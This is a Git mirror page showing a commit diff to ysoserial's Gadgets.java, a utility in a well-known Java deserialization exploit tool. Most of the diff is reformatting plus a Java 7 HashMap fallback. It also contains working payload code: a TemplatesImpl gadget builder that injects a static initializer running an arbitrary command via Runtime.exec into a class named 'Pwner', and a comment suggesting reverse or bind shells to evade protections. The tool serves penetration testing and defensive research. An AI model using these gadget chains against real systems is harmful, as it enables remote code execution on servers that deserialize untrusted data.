archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-26 08:51:53 +08:00
Code Issues Packages Projects Releases Wiki Activity

Fix HashMap creation for java7.

Browse Source
This commit is contained in:
mbechler
2016-03-06 18:53:39 +01:00
parent 4795bce7ff
commit b814712e19
1 changed files with 79 additions and 60 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/payloads/util/Gadgets.java
+77 -58
View File
@@ -1,5 +1,6 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable; import java.io.Serializable;
@@ -23,56 +24,67 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/* /*
* utility generator functions for common jdk-only gadgets * utility generator functions for common jdk-only gadgets
*/ */
@SuppressWarnings({"restriction", "rawtypes", "unchecked"}) @SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets { public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
} static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; }
public static class StubTransletPayload extends AbstractTranslet implements Serializable { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public static class StubTransletPayload extends AbstractTranslet implements Serializable {
@Override private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { @Override
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
allIfaces[0] = iface; }
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
}
public static Map<String,Object> createMap(final String key, final Object val) { // required to make TemplatesImpl happy
final Map<String,Object> map = new HashMap<String, Object>(); public static class Foo implements Serializable {
map.put(key,val);
return map; private static final long serialVersionUID = 8207363842866235160L;
} }
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static Object createTemplatesImpl ( final String command ) throws Exception { public static Object createTemplatesImpl ( final String command ) throws Exception {
@@ -87,42 +99,49 @@ public class Gadgets {
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
} }
public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
ClassPool pool = ClassPool.getDefault(); throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet)); pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime()); clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName()); CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC); clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode(); final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, classBytes, ClassFiles.classAsBytes(Foo.class)
ClassFiles.classAsBytes(Foo.class)}); });
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates; return templates;
} }
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException { IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap(); HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2); Reflections.setFieldValue(s, "size", 2);
Class nodeC;
Class nodeC = Class.forName("java.util.HashMap$Node"); try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); nodeCons.setAccessible(true);